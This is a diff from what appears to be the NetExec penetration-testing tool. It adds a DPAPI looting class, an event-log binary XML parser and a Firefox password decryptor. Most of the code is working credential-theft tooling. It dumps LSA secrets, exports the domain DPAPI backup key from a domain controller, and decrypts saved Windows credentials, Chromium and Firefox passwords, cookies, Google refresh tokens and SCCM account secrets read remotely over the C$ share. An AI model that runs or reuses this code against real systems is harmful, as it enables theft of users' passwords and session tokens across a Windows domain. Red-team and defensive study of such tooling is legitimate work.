+    """
+    def __init__(self, connection, target: Target):
+        self.connection = connection
+        self.target = target
+
+        self.conn = None
+        self.dump_cookies = False
+        self.masterkeys = []
+        self._pvkbytes = None
+
+        # Keep track of writing secrets in file
+        self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
+        self.secrets_counter = 0
+
+        if connection.args.dpapi is not None:
+            self.dump_cookies = "cookies" in connection.args.dpapi
+
+        # Variables to know what materkey types have already been dumped
+        self.system_masterkeys_already_dumped = False
+        self.users_masterkeys_already_dumped = False
+
+        # Initialize the connection here, if you need this class then you will need the connection
+        self.init_connection()
+
+    def __del__(self):
+        # When everything is finished, then we give the feedback to the user
+        if self.output_file is not None and self.secrets_counter > 0:
+            self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
+
+    def log_secret(self, line, logger=None):
+        # Handle the secret counter here, avoid to handle it in multiple places
+        if logger is None:
+            logger = self.connection.logger
+        logger.highlight(line)
+        with open(self.output_file, "a", encoding="utf-8") as fd:
+            self.secrets_counter += 1
+            fd.write(line + "\n")
+
+    def init_connection(self):
+        """Tries to initiate a DPLootConnection object from a NXC connection"""
+        if self.conn is not None:
+            self.connection.logger.debug("DPLoot connection already initiated, skipping.")
+            return
+        self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
+        if self.conn is None:
+            self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
+            return
+
+    def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
+        """
+        Get and decrypt masterkeys from the target.
+        dump_users: If True, then user masterkeys will be collected if they have not already been
+        dump_system: If True, then system masterkeys will be collected if they have not already been
+        """
+        # If we have already dumped everything, then we won't find new stuff
+        if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
+            return self.masterkeys
+
+        masterkeys = []
+        plaintexts = {}
+        nthashes = {}
+
+        # First, check and handle the mkfile arg
+        if self.connection.args.mkfile is not None:
+            try:
+                masterkeys += parse_masterkey_file(self.connection.args.mkfile)
+            except Exception as e:
+                self.connection.logger.fail(str(e))
+
+        # Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
+        if dump_users:
+            users = self.conn.list_users()
+            plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
+            nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
+            # dploot matches user.lower()
+            if self.connection.password != "":
+                plaintexts[self.connection.username.lower()] = self.connection.password
+            if self.connection.nthash != "":
+                nthashes[self.connection.username.lower()] = self.connection.nthash
+
+        # Now prepare the SYSTEM part
+        if (dump_system
+            and self.connection.dpapi_system_key is None
+            and hasattr(self.connection, "lsa")
+            and callable(self.connection.lsa)):
+            # We can use the protocol specific LSA dump if not already dumped.
+            # But first, just making sure the protocol supports LSA dump :)
+            self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
+            self.connection.lsa(quiet=True)
+            if self.connection.dpapi_system_key is not None:
+                self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
+                self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
+            else:
+                self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
+
+        # Invoke MasterkeyTriage class
+        try:
+            masterkeys_triage = MasterkeysTriage(
+                target=self.target,
+                conn=self.conn,
+                pvkbytes=self.pvkbytes,
+                passwords=plaintexts,
+                nthashes=nthashes,
+                dpapiSystem=self.connection.dpapi_system_key,
+            )
+            self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
+
+            # Collect User Masterkeys if this has not already been done
+            if dump_users and not self.users_masterkeys_already_dumped:
+                self.connection.logger.display("Collecting DPAPI Users masterkeys")
+                masterkeys += masterkeys_triage.triage_masterkeys()
+                # if multiple functionalities are calling masterkeys triage, make sur we do it only once
+                self.users_masterkeys_already_dumped = True
+
+            # Collect SYSTEM Masterkeys if this has not already been done
+            if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
+                self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
+                masterkeys += masterkeys_triage.triage_system_masterkeys()
+                # if multiple functionalities are calling masterkeys triage, make sur we do it only once
+                self.system_masterkeys_already_dumped = True
+        except Exception as e:
+            self.connection.logger.debug(f"Could not get masterkeys: {e}")
+        self.masterkeys += masterkeys
+        # If we decrypted new masterkeys, print the message
+        if len(masterkeys) > 0:
+            self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
+        return self.masterkeys
+
+    def triage_credentials(self, masterkeys: list[Masterkey]):
+        # Collect User and Machine Credentials Manager secrets
+
+        def credential_callback(credential):
+            tag = "CREDENTIAL"
+            line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
+            self.log_secret(line)
+            self.connection.db.add_dpapi_secrets(
+                self.target.address,
+                tag,
+                credential.winuser,
+                credential.username,
+                credential.password,
+                credential.target,
+            )
+
+        try:
+            credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
+            self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
+            credentials_triage.triage_credentials()
+            credentials_triage.triage_system_credentials()
+        except Exception as e:
+            self.connection.logger.debug(f"Error while looting credentials: {e}")
+
+    def triage_chromium(self, masterkeys: list[Masterkey]):
+        cng_chromekey = None
+        # We need the CNG triage to recover Chrome passwords since Chrome v137
+        try:
+            cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
+            for cng_file in cng_triage.triage_system_cng():
+                if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
+                    self.connection.logger.debug("Found CNG Google ChromeKey1\n")
+                    cng_chromekey = cng_file.decrypted_private_key
+        except Exception as e:
+            self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
+
+        # Collect Chrome Based Browser stored secrets
+        def browser_callback(secret):
+            if isinstance(secret, LoginData):
+                secret_url = secret.url + " -" if secret.url != "" else "-"
+                line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    secret.browser.upper(),
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.url,
+                )
+            elif isinstance(secret, GoogleRefreshToken):
+                line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    secret.browser.upper(),
+                    secret.winuser,
+                    secret.service,
+                    secret.token,
+                    "Google Refresh Token",
+                )
+            elif isinstance(secret, Cookie):
+                line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
+                self.log_secret(line)
+
+        try:
+            browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
+            browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
+        except Exception as e:
+            self.connection.logger.debug(f"Error while looting browsers: {e}")
+
+    def triage_vaults(self, masterkeys: list[Masterkey]):
+        def vault_callback(secret):
+            tag = "IEX"
+            if secret.type == "Internet Explorer":
+                resource = secret.resource + " -" if secret.resource != "" else "-"
+                line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    tag,
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.resource,
+                )
+
+        try:
+            # Collect User Internet Explorer stored secrets
+            vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
+            vaults_triage.triage_vaults()
+        except Exception as e:
+            self.connection.logger.debug(f"Error while looting vaults: {e}")
+
+    def triage_firefox(self):
+        def firefox_callback(secret):
+            tag = "FIREFOX"
+            if isinstance(secret, FirefoxData):
+                url = secret.url + " -" if secret.url != "" else "-"
+                line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    tag,
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.url,
+                )
+            elif isinstance(secret, FirefoxCookie):
+                line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
+                self.log_secret(line)
+
+        try:
+            # Collect Firefox stored secrets
+            firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
+            firefox_triage.run(gather_cookies=self.dump_cookies)
+        except Exception as e:
+            self.logger.debug(f"Error while looting firefox: {e}")
+
+    # The dpapi function for every protocol
+    def triage_dpapi(self):
+        # Load masterkeys
+        masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
+        if len(masterkeys) == 0:
+            # Nothing will be recovered if no masterkeys, so we can stop there
+            self.connection.logger.fail("No masterkeys looted")
+            return
+
+        self.connection.logger.success("Looting secrets...")
+
+        # Calling all the triage functions. We can add other triage functions here
+        self.triage_credentials(masterkeys)
+        self.triage_chromium(masterkeys)
+        self.triage_vaults(masterkeys)
+        self.triage_firefox()
+
+    def triage_sccm(self):
+        masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
+        if len(masterkeys) == 0:
+            self.connection.logger.fail("No masterkeys looted")
+            return
+
+        self.connection.logger.success("Looting SCCM Credentials")
+
+        def sccm_callback(secret):
+            if isinstance(secret, SCCMCred):
+                tag = "NAA Account"
+                line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    f"SCCM - {tag}",
+                    "SYSTEM",
+                    secret.username.decode("latin-1"),
+                    secret.password.decode("latin-1"),
+                    "N/A",
+                )
+            elif isinstance(secret, SCCMSecret):
+                tag = "Task sequences secret"
+                line = f"[{tag}] {secret.secret.decode('latin-1')}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    f"SCCM - {tag}",
+                    "SYSTEM",
+                    "N/A",
+                    secret.secret.decode("latin-1"),
+                    "N/A",
+                )
+            elif isinstance(secret, SCCMCollection):
+                tag = "Collection Variable"
+                line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
+                self.log_secret(line)
+                self.connection.db.add_dpapi_secrets(
+                    self.target.address,
+                    f"SCCM - {tag}",
+                    "SYSTEM",
+                    secret.variable.decode("latin-1"),
+                    secret.value.decode("latin-1"),
+                    "N/A",
+                )
+        try:
+            sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
+            sccm_triage.triage_sccm()
+        except Exception as e:
+            self.logger.debug(f"Error while looting sccm: {e}")
+
+    @property
+    def pvkbytes(self):
+        """
+        The pvkbytes. If not already initialized, tries to set it
+        The precedence order is the following :
+        - Check the pvk argument
+        - Checks in the DB
+        - Get it from a domain controller
+        """
+        # pvkbytes already loaded and in cache ? Serve it
+        if self._pvkbytes is not None:
+            return self._pvkbytes
+
+        pvkbytes = None
+
+        # First check the pvk argument and handle it
+        if self.connection.args.pvk is not None:
+            try:
+                with open(self.connection.args.pvk, "rb") as fd:
+                    pvkbytes = fd.read()
+                self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
+            except Exception as e:
+                self.connection.logger.fail(str(e))
+
+        # If no pvkbytes yet, then we check in the DB
+        if pvkbytes is None:
+            try:
+                results = self.connection.db.get_domain_backupkey(self.connection.domain)
+            except Exception:
+                self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
+                return False
+            if len(results) > 0:
+                self.connection.logger.success("Loading domain backupkey from nxcdb...")
+                pvkbytes = results[0][2]
+
+        # If no pvkbytes yet, then we can try to get it from a domain controller
+        if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
+            try:
+                dc_target = SMBTarget.create(
+                    domain=self.connection.domain,
+                    username=self.connection.username,
+                    password=self.connection.password,
+                    address=self.connection.kdcHost,  # querying DNS server for domain will return DC
+                    lmhash=self.connection.lmhash,
+                    nthash=self.connection.nthash,
+                    do_kerberos=self.connection.kerberos,
+                    aesKey=self.connection.aesKey,
+                    use_kcache=self.connection.use_kcache,
+                )
+                dc_conn = DPLootSMBConnection(dc_target)
+                dc_conn.connect()  # Connect to DC
+                if dc_conn.is_admin():
+                    self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
+                    backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
+                    backupkey = backupkey_triage.triage_backupkey()
+                    pvkbytes = backupkey.backupkey_v2
+                    self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
+                else:
+                    self.connection.no_da = False
+            except Exception as e:
+                self.connection.logger.fail(f"Could not get domain backupkey: {e}")
+
+        self._pvkbytes = pvkbytes
+        return self._pvkbytes

nxc/helpers/even6_parser.py

@@ -0,0 +1,214 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+import struct
+import uuid
+
+from datetime import datetime
+from nxc.logger import nxc_logger
+
+
+class Substitution:
+    def __init__(self, buf, offset):
+        (sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
+        self.length = 4
+
+        self._id = sub_id
+        self._type = sub_type
+        self._optional = sub_token == 0x0e
+
+    def xml(self, template=None):
+        value = template.values[self._id]
+        if value.type == 0x0:
+            return None if self._optional else ""
+        if self._type == 0x1:
+            return value.data.decode("utf16")
+        elif self._type == 0x4:
+            return str(struct.unpack("<B", value.data)[0])
+        elif self._type == 0x6:
+            return str(struct.unpack("<H", value.data)[0])
+        elif self._type == 0x8:
+            return str(struct.unpack("<I", value.data)[0])
+        elif self._type == 0xa:
+            return str(struct.unpack("<Q", value.data)[0])
+        elif self._type == 0x11:
+            # see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
+            return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
+        elif self._type == 0x13:
+            # see http://www.gossamer-threads.com/lists/apache/bugs/386930
+            revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
+            iav = struct.unpack_from(">Q", value.data, 2)[0]
+            sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
+            return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
+        elif self._type == 0x15 or self._type == 0x10:
+            return value.data.hex()
+        elif self._type == 0x21:
+            return value.template.xml()
+        elif self._type == 0xf:
+            return str(uuid.UUID(bytes_le=value.data))
+        else:
+            nxc_logger.display(f"Unknown value type {hex(value.type)}")
+
+
+class Value:
+    def __init__(self, buf, offset):
+        token, string_type, length = struct.unpack_from("<BBH", buf, offset)
+        self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
+
+        self.length = 4 + length * 2
+
+    def xml(self, template=None):
+        return self._val
+
+
+class Attribute:
+    def __init__(self, buf, offset):
+        struct.unpack_from("<B", buf, offset)
+        self._name = Name(buf, offset + 1)
+
+        (next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
+        if next_token[0] == 0x05 or next_token == 0x45:
+            self._value = Value(buf, offset + 1 + self._name.length)
+        elif next_token[0] == 0x0e:
+            self._value = Substitution(buf, offset + 1 + self._name.length)
+        else:
+            nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
+
+        self.length = 1 + self._name.length + self._value.length
+
+    def xml(self, template=None):
+        val = self._value.xml(template)
+        return None if val is None else f'{self._name.val}="{val}"'
+
+
+class Name:
+    def __init__(self, buf, offset):
+        hashs, length = struct.unpack_from("<HH", buf, offset)
+
+        self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
+        self.length = 4 + (length + 1) * 2
+
+
+class Element:
+    def __init__(self, buf, offset):
+        token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
+
+        self._name = Name(buf, offset + 7)
+        self._dependency = dependency_id
+
+        ofs = offset + 7 + self._name.length
+        if token == 0x41:
+            struct.unpack_from("<I", buf, ofs)
+            ofs += 4
+
+        self._children = []
+        self._attributes = []
+
+        while True:
+            next_token = buf[ofs]
+            if next_token == 0x06 or next_token == 0x46:
+                attr = Attribute(buf, ofs)
+                self._attributes.append(attr)
+                ofs += attr.length
+            elif next_token == 0x02:
+                self._empty = False
+                ofs += 1
+                while True:
+                    next_token = buf[ofs]
+                    if next_token == 0x01 or next_token == 0x41:
+                        element = Element(buf, ofs)
+                    elif next_token == 0x04:
+                        ofs += 1
+                        break
+                    elif next_token == 0x05:
+                        element = Value(buf, ofs)
+                    elif next_token == 0x0e or next_token == 0x0d:
+                        element = Substitution(buf, ofs)
+                    else:
+                        nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
+                        break
+
+                    self._children.append(element)
+                    ofs += element.length
+
+                break
+            elif next_token == 0x03:
+                self._empty = True
+                ofs += 1
+                break
+            else:
+                nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
+                break
+
+        self.length = ofs - offset
+
+    def xml(self, template=None):
+        if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
+            return ""
+
+        attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
+
+        attrs = " ".join(attrs)
+        if len(attrs) > 0:
+            attrs = " " + attrs
+
+        if self._empty:
+            return f"<{self._name.val}{attrs}/>"
+        else:
+            children = (x.xml(template) for x in self._children)
+            return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
+
+
+class ValueSpec:
+    def __init__(self, buf, offset, value_offset):
+        self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
+        self.data = buf[value_offset:value_offset + self.length]
+
+        if self.type == 0x21:
+            self.template = BinXML(buf, value_offset)
+
+
+class TemplateInstance:
+    def __init__(self, buf, offset):
+        token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
+        if next_token == 0x0F:
+            self._xml = BinXML(buf, offset + 0x16)
+            eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
+            values_length = 0
+            self.values = []
+            for x in range(num_values):
+                value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
+                self.values.append(value)
+                values_length += value.length
+
+            self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
+        else:
+            nxc_logger.display(f"Unknown template token {hex(next_token)}")
+
+    def xml(self, template=None):
+        return self._xml.xml(self)
+
+
+class BinXML:
+    def __init__(self, buf, offset):
+        header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
+
+        if next_token == 0x0C:
+            self._element = TemplateInstance(buf, offset + 4)
+        elif next_token == 0x01 or next_token == 0x41:
+            self._element = Element(buf, offset + 4)
+        else:
+            nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
+
+        self.length = 4 + self._element.length
+
+    def xml(self, template=None):
+        return self._element.xml(template)
+
+
+class ResultSet:
+    def __init__(self, buf):
+        total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
+        self._xml = BinXML(buf, 0x14)
+
+    def xml(self):
+        return self._xml.xml()

nxc/helpers/firefox.py

@@ -0,0 +1,350 @@
+from base64 import b64decode
+from binascii import unhexlify
+from hashlib import pbkdf2_hmac, sha1, sha256
+import hmac
+import json
+import ntpath
+from os import remove
+import sqlite3
+import tempfile
+from dataclasses import dataclass
+from typing import Any
+from Cryptodome.Cipher import AES, DES3
+from pyasn1.codec.der import decoder
+from dploot.lib.network import DPLootConnection
+
+
+CKA_ID = unhexlify("f8000000000000000000000000000001")
+
+# Constants for different encryption modes
+CBC_IV_LENGTH = 16  # AES-256-CBC uses 16-byte IV (Firefox 144+)
+DES_IV_LENGTH = 8   # 3DES-CBC uses 8-byte IV (legacy)
+
+
+@dataclass
+class FirefoxData:
+    winuser: str
+    url: str
+    username: str
+    password: str
+
+
+@dataclass
+class FirefoxCookie:
+    winuser: str
+    host: str
+    path: str
+    cookie_name: str
+    cookie_value: str
+    creation_utc: str
+    expires_utc: str
+    last_access_utc: str
+
+
+class FirefoxTriage:
+    """
+    Firefox by @zblurx
+    Inspired by firefox looting from DonPAPI
+    https://github.com/login-securite/DonPAPI
+    """
+
+    firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
+    share = "C$"
+    false_positive = (
+        ".",
+        "..",
+        "desktop.ini",
+        "Public",
+        "Default",
+        "Default User",
+        "All Users",
+    )
+
+    def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
+        self.target = target
+        self.logger = logger
+        self.conn = conn
+
+        self.per_secret_callback = per_secret_callback
+
+    def run(self, gather_cookies=False):
+        firefox_data = []
+        firefox_cookies = []
+        # list users
+        users = self.conn.list_users()
+        for user in users:
+            try:
+                directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
+            except Exception as e:
+                if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
+                    continue
+                self.logger.debug(e)
+            if directories is None:
+                continue
+            for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
+                try:
+                    if gather_cookies:
+                        cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
+                        cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
+                        if cookies_data is not None:
+                            firefox_cookies += self.parse_cookie_data(user, cookies_data)
+                    logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
+                    logins_data = self.conn.read_file(path=logins_path, share=self.share)
+                    if logins_data is None:
+                        continue  # No logins.json file found
+                    logins = self.get_login_data(logins_data=logins_data)
+                    if len(logins) == 0:
+                        continue  # No logins profile found
+                    key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
+                    key4_data = self.conn.read_file(path=key4_path, share=self.share)
+                    if key4_data is None:
+                        continue
+                    # Get all available master keys (Firefox 144+ may have multiple keys)
+                    keys = self.get_all_keys(key4_data=key4_data)
+                    if len(keys) == 0 and self.target.password != "":
+                        keys = self.get_all_keys(
+                            key4_data=key4_data,
+                            master_password=self.target.password.encode(),
+                        )
+                    if len(keys) == 0:
+                        continue
+
+                    for username, pwd, host in logins:
+                        decoded_username = None
+                        password = None
+
+                        for key in keys:
+                            try:
+                                decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2])
+                                decoded_username = decrypted_username.decode("utf-8")
+
+                                decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2])
+                                password = decrypted_password.decode("utf-8")
+
+                                break  # Success - stop trying other keys
+                            except (UnicodeDecodeError, Exception):
+                                continue
+
+                        if password is not None and decoded_username is not None:
+                            data = FirefoxData(
+                                winuser=user,
+                                url=host,
+                                username=decoded_username,
+                                password=password,
+                            )
+                            if self.per_secret_callback is not None:
+                                self.per_secret_callback(data)
+                            firefox_data.append(data)
+                except Exception as e:
+                    if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
+                        continue
+                    self.logger.exception(e)
+        return firefox_data
+
+    def parse_cookie_data(self, windows_user, cookies_data):
+        cookies = []
+        fh = tempfile.NamedTemporaryFile(delete=False)  # ruff: ignore[open-file-with-context-handler]
+        fh.write(cookies_data)
+        fh.seek(0)
+        db = sqlite3.connect(fh.name)
+        cursor = db.cursor()
+        cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;")
+        for name, value, host, path, expiry, lastAccessed, creationTime in cursor:
+            cookie = FirefoxCookie(
+                winuser=windows_user,
+                host=host,
+                path=path,
+                cookie_name=name,
+                cookie_value=value,
+                creation_utc=creationTime,
+                last_access_utc=lastAccessed,
+                expires_utc=expiry,
+            )
+            if self.per_secret_callback is not None:
+                self.per_secret_callback(cookie)
+            cookies.append(cookie)
+        return cookies
+
+    def get_login_data(self, logins_data):
+        json_logins = json.loads(logins_data)
+        if "logins" not in json_logins:
+            return []  # No logins key in logins.json file
+        return [
+            (
+                self.decode_login_data(row["encryptedUsername"]),
+                self.decode_login_data(row["encryptedPassword"]),
+                row["hostname"],
+            )
+            for row in json_logins["logins"]
+        ]
+
+    def get_key(self, key4_data, master_password=b""):
+        """Legacy method - retrieves first available key"""
+        keys = self.get_all_keys(key4_data, master_password)
+        return keys[0] if keys else None
+
+    def get_all_keys(self, key4_data, master_password=b""):
+        """Retrieve all available master keys from NSS database (Firefox 144+ may have multiple)"""
+        # Instead of disabling "delete" and removing the file manually,
+        # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
+        # Related issue: #134
+        fh = tempfile.NamedTemporaryFile(delete=False)  # ruff: ignore[open-file-with-context-handler]
+        fh.write(key4_data)
+        fh.seek(0)
+        db = sqlite3.connect(fh.name)
+        cursor = db.cursor()
+
+        try:
+            cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
+            row = next(cursor)
+
+            if not row:
+                return []
+
+            global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
+            if not global_salt:
+                return []
+
+            # Get ALL keys from nssPrivate table (Firefox 144+ may have multiple)
+            keys = []
+            cursor.execute("SELECT a11,a102 FROM nssPrivate WHERE a11 IS NOT NULL;")
+
+            for row in cursor:
+                try:
+                    a11 = row[0]
+                    a102 = row[1]  # ruff: ignore[unused-variable]
+
+                    decoded_a11 = decoder.decode(a11)
+                    key = self.decrypt_3des(decoded_a11, master_password, global_salt)
+
+                    if key is not None and len(key) >= 24:
+                        keys.append(key)
+                except Exception:
+                    continue
+            return keys
+
+        except Exception as e:
+            self.logger.debug(f"Error extracting keys: {e}")
+            return []
+        finally:
+            db.close()
+            fh.close()
+            try:
+                remove(fh.name)
+            except Exception as e:
+                self.logger.error(f"Error removing temporary file: {e}")
+
+    def is_master_password_correct(self, key_data, master_password=b""):
+        try:
+            entry_salt = b""
+            global_salt = key_data[0]  # Item1
+            item2 = key_data[1]
+            decoded_item2 = decoder.decode(item2)
+            cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
+            if cleartext_data != b"password-check\x02\x02":
+                return "", "", ""
+            return global_salt, master_password, entry_salt
+        except Exception as e:
+            self.logger.debug(e)
+            return "", "", ""
+
+    @staticmethod
+    def decode_login_data(data):
+        asn1data = decoder.decode(b64decode(data))
+        return (
+            asn1data[0][0].asOctets(),
+            asn1data[0][1][1].asOctets(),
+            asn1data[0][2].asOctets(),
+        )
+
+    @staticmethod
+    def decrypt(key, iv, ciphertext):
+        """
+        Decrypt ciphered data (user / password) using the key previously found.
+        Supports both old format (3DES-CBC) and new Firefox 144+ format (AES-256-CBC).
+        """
+        # Determine encryption method based on IV length
+        iv_length = len(iv)
+
+        # Firefox 144+ uses AES-256-CBC with 16-byte IV
+        if iv_length == CBC_IV_LENGTH:
+            return FirefoxTriage.decrypt_aes256_cbc(key, iv, ciphertext)
+        # Older Firefox uses 3DES-CBC with 8-byte IV
+        else:
+            return FirefoxTriage.decrypt_3des_cbc(key, iv, ciphertext)
+
+    @staticmethod
+    def decrypt_aes256_cbc(key, iv, ciphertext):
+        """Decrypt using AES-256-CBC (Firefox 144+)"""
+        # Expand key to 32 bytes using SHA-256 if needed
+        aes_key = key[:32] if len(key) >= 32 else sha256(key).digest()
+
+        cipher = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=iv)
+        data = cipher.decrypt(ciphertext)
+
+        # Remove PKCS7 padding
+        if len(data) > 0:
+            padding_length = data[-1]
+            if isinstance(padding_length, str):
+                padding_length = ord(padding_length)
+            try:
+                if padding_length > 0 and padding_length <= 16:
+                    return data[:-padding_length]
+            except Exception:
+                pass
+        return data
+
+    @staticmethod
+    def decrypt_3des_cbc(key, iv, ciphertext):
+        """Decrypt using 3DES-CBC (legacy Firefox)"""
+        # 3DES requires exactly 24-byte keys - truncate if longer
+        cipher = DES3.new(key=key[:24], mode=DES3.MODE_CBC, iv=iv)
+        data = cipher.decrypt(ciphertext)
+        nb = data[-1]
+        if isinstance(nb, str):
+            nb = ord(nb)
+        try:
+            return data[:-nb]
+        except Exception:
+            return data
+
+    @staticmethod
+    def decrypt_3des(decoded_item, master_password, global_salt):
+        """User master key is also encrypted (if provided, the master_password could be used to encrypt it)"""
+        # See http://www.drh-consultancy.demon.co.uk/key3.html
+        pbeAlgo = str(decoded_item[0][0][0])
+        if pbeAlgo == "1.2.840.113549.1.12.5.1.3":  # pbeWithSha1AndTripleDES-CBC
+            entry_salt = decoded_item[0][0][1][0].asOctets()
+            cipher_t = decoded_item[0][1].asOctets()
+
+            # See http://www.drh-consultancy.demon.co.uk/key3.html
+            hp = sha1(global_salt + master_password).digest()
+            pes = entry_salt + b"\x00" * (20 - len(entry_salt))
+            chp = sha1(hp + entry_salt).digest()
+            k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
+            tk = hmac.new(chp, pes, sha1).digest()
+            k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
+            k = k1 + k2
+            iv = k[-8:]
+            key = k[:24]
+            cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
+            return cipher.decrypt(cipher_t)
